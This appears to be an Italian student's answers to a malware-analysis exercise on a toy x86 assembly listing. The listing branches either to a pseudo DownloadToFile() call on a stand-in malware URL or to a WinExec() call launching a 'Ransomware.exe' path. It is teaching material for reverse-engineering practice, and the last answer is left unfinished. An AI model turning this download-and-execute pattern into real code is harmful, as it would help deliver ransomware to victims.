Traccia:

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.

2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

3. Quali sono le diverse funzionalità implementate all'interno del Malware?

4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione. Aggiungere eventuali dettagli tecnici/teorici.

1. ----------|

Nel codice fornito, il salto condizionale viene effettuato dall'istruzione **jz** (jump if zero), alla locazione di memoria 00401068. L'istruzione effettua un salto se il flag zero (ZF) è impostato a 1, indicando che il risultato dell'istruzione di confronto precedente (**cmp**) è zero:

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

2.----------|

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

3.----------|

Dal codice fornito, possiamo identificare almeno due diverse funzionalità implementate all'interno del malware (pur eseguendone una sola):

1. Il malware sembra essere in grado di scaricare un file da un URL remoto e salvarlo localmente, utilizzando la funzione **DownloadToFile();**
2. Successivamente, esegue il file scaricato utilizzando la funzione **WinExec()**.

4.----------|

Nel codice fornito, sono presenti due istruzioni **call** che richiamano le funzioni **DownloadToFile()** e **WinExec()**.

Quando si utilizzano le istruzioni **call** per chiamare una funzione in assembly, gli argomenti possono essere passati alla funzione attraverso diversi meccanismi, tra cui l'uso di registri, lo stack o valori immediati.